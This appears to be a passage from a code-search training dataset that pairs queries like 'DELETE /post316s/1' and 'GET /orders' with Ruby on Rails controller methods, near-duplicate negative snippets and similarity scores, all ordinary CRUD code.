=> 'Post116 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post116.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.6618808", "0.660381", "0.6345901", "0.6316003", "0.60030454", "0.5998591", "0.5975524", "0.5952672", "0.5943673", "0.5875332", "0.582114", "0.5790068", "0.5787935", "0.5778749", "0.57665855", "0.57647175", "0.5749505", "0.5741734", "0.5738316", "0.5736554", "0.57109785", "0.56868106", "0.5680724", "0.56797254", "0.5676747", "0.56751347", "0.56711775", "0.5666239", "0.5663349", "0.5658518", "0.5658419", "0.5657179", "0.5654138", "0.56524575", "0.56516", "0.56390095", "0.56177294", "0.56112313", "0.5606381", "0.5606258", "0.5602523", "0.5601767", "0.55988175", "0.55927646", "0.55907315", "0.55897826", "0.5587143", "0.55863136", "0.55728805", "0.55675936", "0.5563445", "0.5562083", "0.55542606", "0.55541706", "0.55535525", "0.5552441", "0.55485636", "0.5547292", "0.5546699", "0.5545185", "0.55435175", "0.5538394", "0.553176", "0.5525899", "0.55189157", "0.55156654", "0.55112773", "0.5507478", "0.5498125", "0.5497207", "0.5495191", "0.5489445", "0.54891807", "0.5487093", "0.5482083", "0.547645", "0.54752445", "0.5472738", "0.5458649", "0.545601", "0.54558015", "0.54550266", "0.545498", "0.5451536", "0.5451319", "0.5451258", "0.54424953", "0.54413825", "0.54402274", "0.5437919", "0.54332376", "0.54324645", "0.5432311", "0.5427721", "0.54268014", "0.5425639", "0.54224294", "0.54159147", "0.54144955", "0.5413023" ]
0.6000259
5
DELETE /post316s/1 DELETE /post316s/1.xml
def destroy @post316 = Post316.find(params[:id]) @post316.destroy respond_to do |format| format.html { redirect_to(post316s_url) } format.xml { head :ok } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @post154 = Post154.find(params[:id])\n @post154.destroy\n\n respond_to do |format|\n format.html { redirect_to(post154s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post156 = Post156.find(params[:id])\n @post156.destroy\n\n respond_to do |format|\n format.html { redirect_to(post156s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post157 = Post157.find(params[:id])\n @post157.destroy\n\n respond_to do |format|\n format.html { redirect_to(post157s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post150 = Post150.find(params[:id])\n @post150.destroy\n\n respond_to do |format|\n format.html { redirect_to(post150s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @post57 = Post57.find(params[:id])\n @post57.destroy\n\n respond_to do |format|\n format.html { redirect_to(post57s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post445 = Post445.find(params[:id])\n @post445.destroy\n\n respond_to do |format|\n format.html { redirect_to(post445s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post328 = Post328.find(params[:id])\n @post328.destroy\n\n respond_to do |format|\n format.html { redirect_to(post328s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post184 = Post184.find(params[:id])\n @post184.destroy\n\n respond_to do |format|\n format.html { redirect_to(post184s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post472 = Post472.find(params[:id])\n @post472.destroy\n\n respond_to do |format|\n format.html { redirect_to(post472s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post318 = Post318.find(params[:id])\n @post318.destroy\n\n respond_to do |format|\n format.html { redirect_to(post318s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post182 = Post182.find(params[:id])\n @post182.destroy\n\n respond_to do |format|\n format.html { redirect_to(post182s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post464 = Post464.find(params[:id])\n @post464.destroy\n\n respond_to do |format|\n format.html { redirect_to(post464s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post470 = Post470.find(params[:id])\n @post470.destroy\n\n respond_to do |format|\n format.html { redirect_to(post470s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post174 = Post174.find(params[:id])\n @post174.destroy\n\n respond_to do |format|\n format.html { redirect_to(post174s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post483 = Post483.find(params[:id])\n @post483.destroy\n\n respond_to do |format|\n format.html { redirect_to(post483s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post149 = Post149.find(params[:id])\n @post149.destroy\n\n respond_to do |format|\n format.html { redirect_to(post149s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post446 = Post446.find(params[:id])\n @post446.destroy\n\n respond_to do |format|\n format.html { redirect_to(post446s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post168 = Post168.find(params[:id])\n @post168.destroy\n\n respond_to do |format|\n format.html { redirect_to(post168s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post72 = Post72.find(params[:id])\n @post72.destroy\n\n respond_to do |format|\n format.html { redirect_to(post72s_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @post75 = Post75.find(params[:id])\n @post75.destroy\n\n respond_to do |format|\n format.html { redirect_to(post75s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post74 = Post74.find(params[:id])\n @post74.destroy\n\n respond_to do |format|\n format.html { redirect_to(post74s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post55 = Post55.find(params[:id])\n @post55.destroy\n\n respond_to do |format|\n format.html { redirect_to(post55s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post453 = Post453.find(params[:id])\n @post453.destroy\n\n respond_to do |format|\n format.html { redirect_to(post453s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post481 = Post481.find(params[:id])\n @post481.destroy\n\n respond_to do |format|\n format.html { redirect_to(post481s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post78 = Post78.find(params[:id])\n @post78.destroy\n\n respond_to do |format|\n format.html { redirect_to(post78s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post181 = Post181.find(params[:id])\n @post181.destroy\n\n respond_to do |format|\n format.html { redirect_to(post181s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post139 = Post139.find(params[:id])\n @post139.destroy\n\n respond_to do |format|\n format.html { redirect_to(post139s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post275 = Post275.find(params[:id])\n @post275.destroy\n\n respond_to do |format|\n format.html { redirect_to(post275s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post66 = Post66.find(params[:id])\n @post66.destroy\n\n respond_to do |format|\n format.html { redirect_to(post66s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post350 = Post350.find(params[:id])\n @post350.destroy\n\n respond_to do |format|\n format.html { redirect_to(post350s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post413 = Post413.find(params[:id])\n @post413.destroy\n\n respond_to do |format|\n format.html { redirect_to(post413s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post58 = Post58.find(params[:id])\n @post58.destroy\n\n respond_to do |format|\n format.html { redirect_to(post58s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post194 = Post194.find(params[:id])\n @post194.destroy\n\n respond_to do |format|\n format.html { redirect_to(post194s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post251 = Post251.find(params[:id])\n @post251.destroy\n\n respond_to do |format|\n format.html { redirect_to(post251s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post349 = Post349.find(params[:id])\n @post349.destroy\n\n respond_to do |format|\n format.html { redirect_to(post349s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post193 = Post193.find(params[:id])\n @post193.destroy\n\n respond_to do |format|\n format.html { redirect_to(post193s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post321 = Post321.find(params[:id])\n @post321.destroy\n\n respond_to do |format|\n format.html { redirect_to(post321s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post246 = Post246.find(params[:id])\n @post246.destroy\n\n respond_to do |format|\n format.html { redirect_to(post246s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post215 = Post215.find(params[:id])\n @post215.destroy\n\n respond_to do |format|\n format.html { redirect_to(post215s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post245 = Post245.find(params[:id])\n @post245.destroy\n\n respond_to do |format|\n format.html { redirect_to(post245s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post409 = Post409.find(params[:id])\n @post409.destroy\n\n respond_to do |format|\n format.html { redirect_to(post409s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post54 = Post54.find(params[:id])\n @post54.destroy\n\n respond_to do |format|\n format.html { redirect_to(post54s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post436 = Post436.find(params[:id])\n @post436.destroy\n\n respond_to do |format|\n format.html { redirect_to(post436s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post447 = Post447.find(params[:id])\n @post447.destroy\n\n respond_to do |format|\n format.html { redirect_to(post447s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post306 = Post306.find(params[:id])\n @post306.destroy\n\n respond_to do |format|\n format.html { redirect_to(post306s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post227 = Post227.find(params[:id])\n @post227.destroy\n\n respond_to do |format|\n format.html { redirect_to(post227s_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "def destroy\n @post105 = Post105.find(params[:id])\n @post105.destroy\n\n respond_to do |format|\n format.html { redirect_to(post105s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post471 = Post471.find(params[:id])\n @post471.destroy\n\n respond_to do |format|\n format.html { redirect_to(post471s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post50 = Post50.find(params[:id])\n @post50.destroy\n\n respond_to do |format|\n format.html { redirect_to(post50s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post81 = Post81.find(params[:id])\n @post81.destroy\n\n respond_to do |format|\n format.html { redirect_to(post81s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post407 = Post407.find(params[:id])\n @post407.destroy\n\n respond_to do |format|\n format.html { redirect_to(post407s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post134 = Post134.find(params[:id])\n @post134.destroy\n\n respond_to do |format|\n format.html { redirect_to(post134s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post65 = Post65.find(params[:id])\n @post65.destroy\n\n respond_to do |format|\n format.html { redirect_to(post65s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n r = PostRepository.new\n @post = r.GetPost(\"PostID\", params[:id].to_i)\n r.delete @post\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n end", "def deletepublish\n @question = Publishquiz.find(:all, :conditions=>\"question_id=\"+params[:question]+\" and quiz_id=\"+session[:quizid])\n @question[0].destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post125 = Post125.find(params[:id])\n @post125.destroy\n\n respond_to do |format|\n format.html { redirect_to(post125s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post48 = Post48.find(params[:id])\n @post48.destroy\n\n respond_to do |format|\n format.html { redirect_to(post48s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post41 = Post41.find(params[:id])\n @post41.destroy\n\n respond_to do |format|\n format.html { redirect_to(post41s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post295 = Post295.find(params[:id])\n @post295.destroy\n\n respond_to do |format|\n format.html { redirect_to(post295s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post267 = Post267.find(params[:id])\n @post267.destroy\n\n respond_to do |format|\n format.html { redirect_to(post267s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post197 = Post197.find(params[:id])\n @post197.destroy\n\n respond_to do |format|\n format.html { redirect_to(post197s_url) }\n format.xml { head :ok }\n end\n end", "def delete_post\n\t \n \tend", "def destroy\n @post109 = Post109.find(params[:id])\n @post109.destroy\n\n respond_to do |format|\n format.html { redirect_to(post109s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post183 = Post183.find(params[:id])\n @post183.destroy\n\n respond_to do |format|\n format.html { redirect_to(post183s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post68 = Post68.find(params[:id])\n @post68.destroy\n\n respond_to do |format|\n format.html { redirect_to(post68s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post335 = Post335.find(params[:id])\n @post335.destroy\n\n respond_to do |format|\n format.html { redirect_to(post335s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post = Post.find(params[:id])\n @post.deleted = 1\n @post.save\n\n respond_to do |format|\n format.html { redirect_to(posts_url) }\n format.xml { head :ok }\n end\n make_rss\n end", "def destroy\n @post272 = Post272.find(params[:id])\n @post272.destroy\n\n respond_to do |format|\n format.html { redirect_to(post272s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post459 = Post459.find(params[:id])\n @post459.destroy\n\n respond_to do |format|\n format.html { redirect_to(post459s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post310 = Post310.find(params[:id])\n @post310.destroy\n\n respond_to do |format|\n format.html { redirect_to(post310s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post196 = Post196.find(params[:id])\n @post196.destroy\n\n respond_to do |format|\n format.html { redirect_to(post196s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post358 = Post358.find(params[:id])\n @post358.destroy\n\n respond_to do |format|\n format.html { redirect_to(post358s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post101 = Post101.find(params[:id])\n @post101.destroy\n\n respond_to do |format|\n format.html { redirect_to(post101s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post342 = Post342.find(params[:id])\n @post342.destroy\n\n respond_to do |format|\n format.html { redirect_to(post342s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post120 = Post120.find(params[:id])\n @post120.destroy\n\n respond_to do |format|\n format.html { redirect_to(post120s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post451 = Post451.find(params[:id])\n @post451.destroy\n\n respond_to do |format|\n format.html { redirect_to(post451s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post489 = Post489.find(params[:id])\n @post489.destroy\n\n respond_to do |format|\n format.html { redirect_to(post489s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post297 = Post297.find(params[:id])\n @post297.destroy\n\n respond_to do |format|\n format.html { redirect_to(post297s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post341 = Post341.find(params[:id])\n @post341.destroy\n\n respond_to do |format|\n format.html { redirect_to(post341s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post326 = Post326.find(params[:id])\n @post326.destroy\n\n respond_to do |format|\n format.html { redirect_to(post326s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post322 = Post322.find(params[:id])\n @post322.destroy\n\n respond_to do |format|\n format.html { redirect_to(post322s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post110 = Post110.find(params[:id])\n @post110.destroy\n\n respond_to do |format|\n format.html { redirect_to(post110s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post419 = Post419.find(params[:id])\n @post419.destroy\n\n respond_to do |format|\n format.html { redirect_to(post419s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post129 = Post129.find(params[:id])\n @post129.destroy\n\n respond_to do |format|\n format.html { redirect_to(post129s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post85 = Post85.find(params[:id])\n @post85.destroy\n\n respond_to do |format|\n format.html { redirect_to(post85s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post10 = Post10.find(params[:id])\n @post10.destroy\n\n respond_to do |format|\n format.html { redirect_to(post10s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post107 = Post107.find(params[:id])\n @post107.destroy\n\n respond_to do |format|\n format.html { redirect_to(post107s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post77 = Post77.find(params[:id])\n @post77.destroy\n\n respond_to do |format|\n format.html { redirect_to(post77s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post130 = Post130.find(params[:id])\n @post130.destroy\n\n respond_to do |format|\n format.html { redirect_to(post130s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post284 = Post284.find(params[:id])\n @post284.destroy\n\n respond_to do |format|\n format.html { redirect_to(post284s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post253 = Post253.find(params[:id])\n @post253.destroy\n\n respond_to do |format|\n format.html { redirect_to(post253s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post405 = Post405.find(params[:id])\n @post405.destroy\n\n respond_to do |format|\n format.html { redirect_to(post405s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post248 = Post248.find(params[:id])\n @post248.destroy\n\n respond_to do |format|\n format.html { redirect_to(post248s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post276 = Post276.find(params[:id])\n @post276.destroy\n\n respond_to do |format|\n format.html { redirect_to(post276s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post488 = Post488.find(params[:id])\n @post488.destroy\n\n respond_to do |format|\n format.html { redirect_to(post488s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post191 = Post191.find(params[:id])\n @post191.destroy\n\n respond_to do |format|\n format.html { redirect_to(post191s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @post278 = Post278.find(params[:id])\n @post278.destroy\n\n respond_to do |format|\n format.html { redirect_to(post278s_url) }\n format.xml { head :ok }\n end\n end" ]
[ "0.71567976", "0.7102263", "0.7083098", "0.70823646", "0.70723945", "0.7012389", "0.69944006", "0.696753", "0.6954077", "0.6946694", "0.6944723", "0.6940121", "0.6938884", "0.69316936", "0.69251573", "0.69214976", "0.6911589", "0.689699", "0.6890636", "0.6889382", "0.6885239", "0.68769515", "0.6874107", "0.68739325", "0.6873383", "0.68726313", "0.68712705", "0.68699706", "0.6863563", "0.68632615", "0.68606114", "0.68554205", "0.684739", "0.6846653", "0.6841272", "0.68395627", "0.6838674", "0.6837611", "0.68370295", "0.6834282", "0.68329686", "0.6822652", "0.682196", "0.6814993", "0.68127114", "0.68124574", "0.6809041", "0.68044776", "0.6794913", "0.67894834", "0.678915", "0.6788146", "0.678409", "0.67825186", "0.67789036", "0.6775469", "0.6774875", "0.67692226", "0.67664725", "0.67645115", "0.6763645", "0.6755234", "0.67548907", "0.6752197", "0.67480564", "0.6746848", "0.6746604", "0.6745687", "0.6745365", "0.67429394", "0.6741207", "0.6739538", "0.6739154", "0.6738531", "0.67341256", "0.6731145", "0.6729494", "0.67255044", "0.67226833", "0.6722549", "0.67147017", "0.67122996", "0.67055297", "0.67044604", "0.6692063", "0.66919357", "0.66874623", "0.66871303", "0.66869426", "0.66863286", "0.6681131", "0.6676948", "0.66680086", "0.6666014", "0.66645205", "0.6664323", "0.66616994", "0.6658175", "0.6656926", "0.665442" ]
0.6882626
21
For testing GET /orders
def index @orders = Order.all render json: @orders, status: 200 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def orders\n authenticated_post(\"auth/r/orders\").body\n end", "def getorders(args={})\n {\n :method=> \"GetOrders\"\n }.to_json\n end", "def orders\n authenticated_post(\"orders\").body\n end", "def get_all_orders() \n\tputs \"Getting all orders\"\n\tresponse = request_get(\"/api/order\")\n\tputs response.body\nend", "def orders\n params = { command: 'account_orders' }\n get('/json.php', params)\n end", "def index\n #data = HTTParty.get(\"http://localhost:8081/customers.json\")\n #p data.parsed_response[0]['email']\n if params[:customerId].present?\n @orders = Order.where(\"customerId\": params[:customerId].to_i)\n render json: @orders, status: 200\n elsif params[:id].present?\n @orders = Order.find_by id: params[:id]\n render json: @orders, status:200\n elsif params[:email].present?\n res = HTTParty.get(\"http://localhost:8081/customers/?email=#{params['email']}\")\n p res\n res = res.parsed_response\n @orders = Order.where(\"customerId\": res['id'].to_i)\n render json: @orders, status:200\n else\n @orders = Order.all\n end\n end", "def get_orders\n orders\n end", "def index\n\t\t@orders = Order.all\n\t\trespond_with @orders\n\tend", "def get_order(order_id)\n\tputs \"Getting order: \" + order_id\n\tresponse = request_get(\"/api/order/\" + order_id)\n\tputs response.body\nend", "def test_orders_auth \n c = customers(:bob)\n assert_equal(orders(:bob_order), c.find_order(1))\n assert_nil(c.find_order(2))\n assert_nil(c.find_order(100000))\n end", "def get_orders\n return ShopifyAPI::Order.all\n end", "def recent_orders()\n\t\twith_auth nil do |options|\n\t\t\tself.class.get(\"/api/v1/orders\", options)\n \tend\n\tend", "def index\n @orders = Order.all\n if @orders.count >= 1\n json_response(@orders)\n else\n json_response({ Message: Message.no_data }, :not_found)\n end\n end", "def index\n @orders = Order.order(\"id DESC\").page(params[:page])\n\n if params[:user_id]\n @orders = @orders.where(:user_id => params[:user_id])\n end\n\n if Rails.configuration.orders_status.select{|k, v| v[:real]}.keys.include? params[:status]\n @orders = @orders.where(:status => params[:status])\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.order(\"id\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n render json: @orders\n end", "def index\n @orders = order.all\n end", "def index\n @orders = Order.all\n respond_to do |format|\n format.html\n format.json { render :json => @orders }\n end\n end", "def listOrders()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n ret = []\n Order.find_each do |order|\n ret << {id: order.id, product_id: order.product_id, product_name: Product.find(order.product_id).name, user_id: order.user_id, quantity: order.quantity, price_per_unit: order.price_per_unit, int_status: order.order_status}\n end\n render json: {data: ret.to_json, reason: '', status: true}\n end", "def query_order(options)\n request :account, :get, 'order', options\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n end", "def all_orders(options)\n request :account, :get, 'allOrders', options\n end", "def index\n\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def orders\n @title = \"Your Orders\"\n @orders = @customer.orders.paginate(\n :page => params[:page],\n :per_page => 10\n )\n end", "def index\n @orders = Order.all\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index\n @orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def index # class method\n @orders = Order.all\n end", "def index # class method\n @orders = Order.all\n end", "def index\n #@orders = Order.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @orders }\n end\n end", "def orders(params = {})\n get('/market/orders', params)\n .map { |data| build_persisted_order data }\n end", "def index \n @orders = Order.all \n end", "def index\n @orders = index_resources\n respond_with(@orders)\n end", "def set_order\n \tcustomer = Customer.find(params[:customer_id])\n \t@order = customer.orders.find(params[:id])\n\n \t#*TEST- Currently using Fictious customer 5 as a test\n \t# @order = Order.find(params[:id])\n\n\n # @order = Order.find(params[:id])\n # respond_with (@orders)\n\n\n end", "def index\n @admin_orders = Order.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_orders }\n end\n end", "def status\n if params[:reference]\n @orders = Order.where([\"reference = ?\", params[:reference]])\n elsif params[:client_name]\n @orders = Order.where([\"client_name = ?\", params[:client_name].downcase])\n @orders = @orders.page(params[:page] || 1).per(params[:per_page] || 10)\n else\n render json: {error: \"bad parameters\"}, status: :bad_request\n return\n end\n render json: @orders, status: :ok\n end", "def show_orders\n @user = User.find_by_sql [\"select * from users where email = ? and users.status = 'admin'\", params[:email]]\n if @user.count != 0\n @orders = UsersOrder.find_by_sql [\"select users_orders.id, users.email, books.title, books.genre from users_orders\n LEFT JOIN users ON users_orders.user_id = users.id\n LEFT JOIN books ON users_orders.book_id = books.id where users_orders.status = ? ORDER BY users_orders.created_at ASC\", params[:status]]\n end\n render json: @orders\n end", "def index\n @orders = @orders.all\n end", "def show\n @order = Order.find(params[:id])\n\n render json: @order, status: :ok\n\n end", "def index\n @orders = Order.all\n end", "def index # see model > order.rb\n # if current_user\n @orders = current_user.orders\n render \"index.json.jb\"\n # else\n # render json: [], status: :unauthorized\n # end\n end", "def index\n \n @orders = Order.search(params[:search]).paginate(:page => params[:page], :per_page => 10)\n #respond_with(@orders)\n end", "def get_orders_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: OrderApi.get_orders ...'\n end\n # resource path\n local_var_path = '/order/orders'\n\n # query parameters\n query_params = {}\n query_params[:'order_id'] = opts[:'order_id'] if !opts[:'order_id'].nil?\n query_params[:'payment_method'] = opts[:'payment_method'] if !opts[:'payment_method'].nil?\n query_params[:'company'] = opts[:'company'] if !opts[:'company'].nil?\n query_params[:'first_name'] = opts[:'first_name'] if !opts[:'first_name'].nil?\n query_params[:'last_name'] = opts[:'last_name'] if !opts[:'last_name'].nil?\n query_params[:'city'] = opts[:'city'] if !opts[:'city'].nil?\n query_params[:'state_region'] = opts[:'state_region'] if !opts[:'state_region'].nil?\n query_params[:'postal_code'] = opts[:'postal_code'] if !opts[:'postal_code'].nil?\n query_params[:'country_code'] = opts[:'country_code'] if !opts[:'country_code'].nil?\n query_params[:'phone'] = opts[:'phone'] if !opts[:'phone'].nil?\n query_params[:'email'] = opts[:'email'] if !opts[:'email'].nil?\n query_params[:'cc_email'] = opts[:'cc_email'] if !opts[:'cc_email'].nil?\n query_params[:'total'] = opts[:'total'] if !opts[:'total'].nil?\n query_params[:'screen_branding_theme_code'] = opts[:'screen_branding_theme_code'] if !opts[:'screen_branding_theme_code'].nil?\n query_params[:'storefront_host_name'] = opts[:'storefront_host_name'] if !opts[:'storefront_host_name'].nil?\n query_params[:'creation_date_begin'] = opts[:'creation_date_begin'] if !opts[:'creation_date_begin'].nil?\n query_params[:'creation_date_end'] = opts[:'creation_date_end'] if !opts[:'creation_date_end'].nil?\n query_params[:'payment_date_begin'] = opts[:'payment_date_begin'] if !opts[:'payment_date_begin'].nil?\n query_params[:'payment_date_end'] = opts[:'payment_date_end'] if !opts[:'payment_date_end'].nil?\n query_params[:'shipment_date_begin'] = opts[:'shipment_date_begin'] if !opts[:'shipment_date_begin'].nil?\n query_params[:'shipment_date_end'] = opts[:'shipment_date_end'] if !opts[:'shipment_date_end'].nil?\n query_params[:'rma'] = opts[:'rma'] if !opts[:'rma'].nil?\n query_params[:'purchase_order_number'] = opts[:'purchase_order_number'] if !opts[:'purchase_order_number'].nil?\n query_params[:'item_id'] = opts[:'item_id'] if !opts[:'item_id'].nil?\n query_params[:'current_stage'] = opts[:'current_stage'] if !opts[:'current_stage'].nil?\n query_params[:'channel_partner_code'] = opts[:'channel_partner_code'] if !opts[:'channel_partner_code'].nil?\n query_params[:'channel_partner_order_id'] = opts[:'channel_partner_order_id'] if !opts[:'channel_partner_order_id'].nil?\n query_params[:'_limit'] = opts[:'_limit'] if !opts[:'_limit'].nil?\n query_params[:'_offset'] = opts[:'_offset'] if !opts[:'_offset'].nil?\n query_params[:'_sort'] = opts[:'_sort'] if !opts[:'_sort'].nil?\n query_params[:'_expand'] = opts[:'_expand'] if !opts[:'_expand'].nil?\n\n # header parameters\n header_params = {}\n header_params['X-UltraCart-Api-Version'] = @api_client.select_header_api_version()\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = 